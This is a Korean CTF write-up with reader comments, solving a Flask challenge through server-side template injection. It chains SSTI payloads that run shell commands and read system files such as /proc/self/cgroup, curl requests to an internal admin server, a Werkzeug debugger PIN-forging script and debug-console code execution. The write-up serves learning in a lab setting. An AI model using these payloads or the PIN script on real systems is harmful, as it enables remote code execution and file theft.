돌아가기
제8회 BoB 정보보안 CTF(BISC)
D
I can Read!
  1. SSTI 공격 가능
  2. curl을 통해 internal서버에 요청가능
  3. 디버깅 모드가 켜진 internal 서버의 console 접근 가능
  4. console을 사용하기 위한 console pin exploit
  5. internal 서버의 console을 통해 flag 획득

SSTI 취약점

먼저 main의 E404를 보면 render_template_string(page)를 통해 SSTI 공격이 가능하다는 것을 알았다.

@app.route('/<path:s>')
def E404(s):
    page = f'''
    <h1>404 : {s} Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    '''
    return render_template_string(page)

그래서 해당 payload를 요청해 /flag 파일을 읽으려 했지만 Permission Denied가 떴다.

{{''.__class__.__mro__[1].__subclasses__()[395]('cat%20/flag',shell=True,stdout=-1,stderr=-1).communicate()}}

404 : (b'', b'cat: /flag: Permission denied\n') Not Found

일단 Dockerfile에서 /flag파일의 권한이 700으로 되어 있었고 /run.sh을 읽어보니 main에 있는 app.py는 user 권한으로 admin에 있는 app.py는 root 권한으로 실행되고 있음을 확인할 수 있었다.

WORKDIR /var/www/
COPY main ./main/
COPY admin ./admin/
RUN chmod 755 /var/www/
COPY flag /
RUN chmod 700 /flag
ADD run.sh /run.sh
RUN useradd user
CMD ["/run.sh"]

EXPOSE 5000
%7B%7B''.__class__.__mro__[1].__subclasses__()[395]('cat%20/run.sh',shell=True,stdout=-1,stderr=-1).communicate()%7D%7D

(b'#!/bin/sh\n\nsu - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &"\npython3 /var/www/admin/app.py\n', b'')

Admin 페이지 접근

dockerfile 보면 curl 설치되어 있고 curl을 통해 해당 서버의 admin 페이지에 request를 보내 접근할 수 있다.

%7B%7B''.__class__.__mro__[1].__subclasses__()[395]('curl%20http://localhost:8000',shell=True,stdout=-1,stderr=-1).communicate()%7D%7D

writeup1

Admin 페이지에서의 취약점

Admin page의 소스코드를 보면 flask debug 모드가 켜져있다. 따라서 코드 실행 시 error가 발생되면 웹 상에서 console을 이용해 명령을 실행할 수 있고 실제로 /keygen/1 식으로 문자 하나만을 넘겨주게 되면 Zero Division error가 나면서 console을 사용할 수 페이지 소스가 response 되는 것을 알 수 있다.

@app.route('/keygen/<path:string>')
def keygen(string):
    n = len(string)-1
    a = hashlib.md5(string.encode('utf-8'))
    return str(hex(int(int(a.hexdigest(),16)/n)))

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0', port=8000)

writeup2

Console 사용을 위한 작업

  1. Console 사용을 위한 PIN 인증
  2. Console 사용을 위해 넘겨줄 parameter

Console 사용을 위한 PIN 인증

http://localhost:8000/console 접속하면 Console Lock이 걸려있고 PIN을 인증해야 한다.

PIN 번호는 flask debugger pin exploit을 통해 알 수 있다.

해당 payload를 통해 pin exploit을 위해 필요한 데이터를 얻을 수 있고

{{''.__class__.__mro__[1].__subclasses__()[395]('python -c "import uuid; print(uuid.getnode())"',shell=True,stdout=-1,stderr=-1).communicate()}}
{{''.__class__.__mro__[1].__subclasses__()[395]('cat /proc/sys/kernel/random/boot_id',shell=True,stdout=-1,stderr=-1).communicate()}}
{{''.__class__.__mro__[1].__subclasses__()[395]('cat /proc/self/cgroup',shell=True,stdout=-1,stderr=-1).communicate()}}

아래와 같이 PIN을 얻을 수 있다.

  • make_pin.py

    import requests
    import hashlib
    from itertools import chain
    
    USERNAME = "root"
    MODNAME = "flask.app"
    GET_ATTR_APP = "Flask"
    GET_ATTR_MOD = "/usr/local/lib/python3.8/site-packages/flask/app.py"
    MAC = "187999308500481"
    C_GROUP = b"libpod-389a7f43c45a4d1400d87193210aecd4e1f97a9bc520e6398ca6be4328bc24e2"
    MACHINE_ID = b"bdf06ed5-74c9-4321-8900-66e24e315646" + C_GROUP
    
    def Mac_2_Int(_mac):
        hexmac = ""
        addr = _mac.split(':')
    
        for i in addr:
            hexmac += i
    
        return int(hexmac, 16)
    
    if __name__ == "__main__":
        rv = None
        num = None
    
        #mac_addr = Mac_2_Int(MAC)
    
        probably_public_bits = [
            USERNAME,
            MODNAME,
            GET_ATTR_APP,
            GET_ATTR_MOD,
        ]
    
        private_bits = [MAC, MACHINE_ID]
    
        print(probably_public_bits)
        print(private_bits)
    
        h = hashlib.sha1()
        for bit in chain(probably_public_bits, private_bits):
            if not bit:
                continue
            if isinstance(bit, str):
                bit = bit.encode("utf-8")
            h.update(bit)
        h.update(b"cookiesalt")
    
        cookie_name = "__wzd" + h.hexdigest()[:20]
    
        if num is None:
            h.update(b"pinsalt")
            num = f"{int(h.hexdigest(), 16):09d}"[:9]
    
        if rv is None:
            for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                    rv = "-".join(
                            num[x : x + group_size].rjust(group_size, "0")
                            for x in range(0, len(num), group_size)
                            )
                    break
                else:
                    rv = num
    
        print("PIN: ", rv)
    

754-225-105

참고

werkzeug/init.py at b1911cd0a054f92fa83302cdb520d19449c0b87b · pallets/werkzeug

PIN 인증을 할 때 필요한 parameter가 있는데 각각 __debugger__, cmd, pin, s이다.

찾아보니 __debugger__=yes&cmd=pinauth&pin=766-480-641로 알고있고 s의 값만을 알면된다.

curl http://localhost:8000/console 통해 SECRET이 leak되는 것을 볼 수 있다.

writeup3

PIN이 인증되었을 때 결과와 세션을 유지하기 위한 cookie 값을 출력하는 payload를 보냈다.

%7B%7B''.__class__.__mro__[1].__subclasses__()[395]('curl%20-iv -X GET "http://localhost:8000/console%3F__debugger__=yes&cmd=pinauth&pin=754-225-105&s=xdXVgldQiDUYE7UdJ8s9"',shell=True,stdout=-1,stderr=-1).communicate()%7D%7D

payload를 보낸 후 cookie가 setting 된 것과 인증에 성공한 것을 볼 수 있다.

writeup4

exploit

curl --cookie 를 통해 세션을 유지시켜줬고 cmd parameter에 명령어를 보내 flag를 얻었다. 추가로 python 명령을 시켜주기 위한 double quote과 single quote이 부족해서 포맷스트링으로 payload를 작성했다.

{{''.__class__.__mro__[1].__subclasses__()[395]('''curl --cookie "__wzdefaf01c359991398e91c=1663125264|8b83300c766b" -X GET "http://localhost:8000/console%3F__debugger__=yes&cmd=%s&frm=0&s=xdXVgldQiDUYE7UdJ8s9"''' % ("open('/flag').read()"),shell=True,stdout=-1,stderr=-1).communicate()}}

writeup5

flag

BISC{HOw_dId_y0u_rEad_TH3_F14g_wItH_y0ur_pErM1SSiON?}

댓글

weakness
워게임: 50
저는 핀번호 익스플로잇 후 핀번호를 아무리 넘겨봐도 auth값이 flase였는데 지금 다시 봐도 왜 안풀렸는지 모르겠네요.. 맞는 방식으로 접근한거같은데요 ㅠㅠ
whitem4rk
워게임: 50
핀번호 암호화 방식이 구글 블로그에 나와있는 방식이랑 다르더라고요. 코드 좀 수정하셔서 핀번호 생성하셔야합니다.
weakness
워게임: 50
아 그렇군요.. 좀 더 자세히 봤어야 했네요 ㅎㅎ